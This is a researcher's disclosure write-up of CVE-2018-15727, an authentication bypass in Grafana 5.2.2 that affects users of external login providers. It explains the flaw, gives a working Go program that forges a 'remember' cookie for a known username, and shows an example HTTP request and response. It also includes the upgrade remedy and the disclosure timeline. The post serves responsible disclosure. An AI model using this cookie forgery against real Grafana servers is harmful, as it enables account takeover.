While analyzing the logic behind the “remember” cookie in Grafana 5.2.2, I discovered a bug in the authentication mechanism. It affected users authenticating to Grafana with an external provider (such as Azure AD). By generating a special “remember” cookie, an attacker could sign in as such a user, knowing only her/his username. The bug’s CVE id is CVE-2018-15727.
After I reported the problem to the Grafana team, they fixed the issue on the next day and started rolling out a new release. So if you are vulnerable, don’t hesitate and go update your Grafana.
Discovery
When I use a web application, I like to know how it authenticates users. Hex-encoded cookies and headers are especially interesting as they usually contain some saucy data. Thus, when I saw a grafana_remember cookie, I knew I need to know what’s inside it and how Grafana uses it.
My initial search led me to the tryLoginUsingRememberCookie method in the login.go module. This method is called only when there is no session cookie available and, thus, Grafana uses it to sign in users whose server-side session has expired. Below is the interesting part of the tryLoginUsingRememberCookie method:
// Check auto-login. uname := c.GetCookie(setting.CookieUserName) if len(uname) == 0 { return false } ... userQuery := m.GetUserByLoginQuery{LoginOrEmail: uname} if err := bus.Dispatch(&userQuery); err != nil { return false } user := userQuery.Result // validate remember me cookie if val, _ := c.GetSuperSecureCookie(user.Rands+user.Password, setting.CookieRememberName); val != user.Login { return false }
Grafana extracts user data from its internal database using the username retrieved from the grafana_user cookie. Later, it decrypts the value of the grafana_remember cookie using a combination of the user rands (10 random bytes) and the user password (set to PBKDF2(original_password, salt, 10000, 50, sha256)
on the user sign-up). The GetSuperSecureCookie is a part of the macaron web framework and looks as follows:
func (ctx *Context) GetSuperSecureCookie(secret, name string) (string, bool) { val := ctx.GetCookie(name) if val == "" { return "", false } text, err := hex.DecodeString(val) if err != nil { return "", false } key := pbkdf2.Key([]byte(secret), []byte(secret), 1000, 16, sha256.New) text, err = com.AESGCMDecrypt(key, text) return string(text), err == nil }
This mechanism works just fine for local Grafana users, but not for remote users (users authenticated using an external provider). The problem is that remote users have Rands and Password column values in the Grafana database set to empty strings. Therefore, we can generate a valid “remember” cookie for a known username using this simple code:
package main import ( "crypto/aes" "crypto/cipher" "crypto/rand" "crypto/sha256" "encoding/hex" "fmt" "golang.org/x/crypto/pbkdf2" ) func main() { secret := "" username := "username" // FIXME: set to username key := pbkdf2.Key([]byte(secret), []byte(secret), 1000, 16, sha256.New) ciphertext, err := AESGCMEncrypt(key, []byte(username)) if err != nil { panic("error encrypting") } fmt.Println(hex.EncodeToString(ciphertext)) } func AESGCMEncrypt(key, plaintext []byte) ([]byte, error) { block, err := aes.NewCipher(key) if err != nil { return nil, err } gcm, err := cipher.NewGCM(block) if err != nil { return nil, err } nonce := make([]byte, gcm.NonceSize()) if _, err := rand.Read(nonce); err != nil { return nil, err } ciphertext := gcm.Seal(nil, nonce, plaintext, nil) return append(nonce, ciphertext...), nil }
We then need to call the /login page, for example:
GET /login HTTP/1.1 Host: grafana.example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: grafana_user=user%40example.com; grafana_remember=2d321cf4cea944f289cdf7f84ef5bb2787add4d03ef466e6eaee73ce1103278d5b4d15e17d037d4746270e6a; DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache
And we should get a response similar to the one below:
HTTP/1.1 302 Found Date: Mon, 20 Aug 2018 16:30:35 GMT Content-Type: text/html; charset=utf-8 Content-Length: 22 Connection: close Location: / Set-Cookie: grafana_user=user%40example.com; Path=/logs/; Max-Age=604800 Set-Cookie: grafana_remember=8989c11ac6f9aadc57fb736a8c05690a57aa01bb296fc5ac16b4632e88137f7cf00a2e6305142117816b450b; Path=/; Max-Age=604800 Set-Cookie: grafana_sess=1766119d6dfe32be; Path=/; HttpOnly <a href="/">Found</a>.
Now, it’s time to set the newly received cookies and access any page as an authenticated user.
Remedy
Update your Grafana server to the version 5.2.3 or later.
Disclosure Timeline
- August 20, 2018 – I contacted Torkel Ödegaard providing the bug details in an email
- August 22, 2018 – Torkel replied that Grafana team fixed the bug and they are rolling out the release
- August 29, 2018 – Public disclosure and the official announcement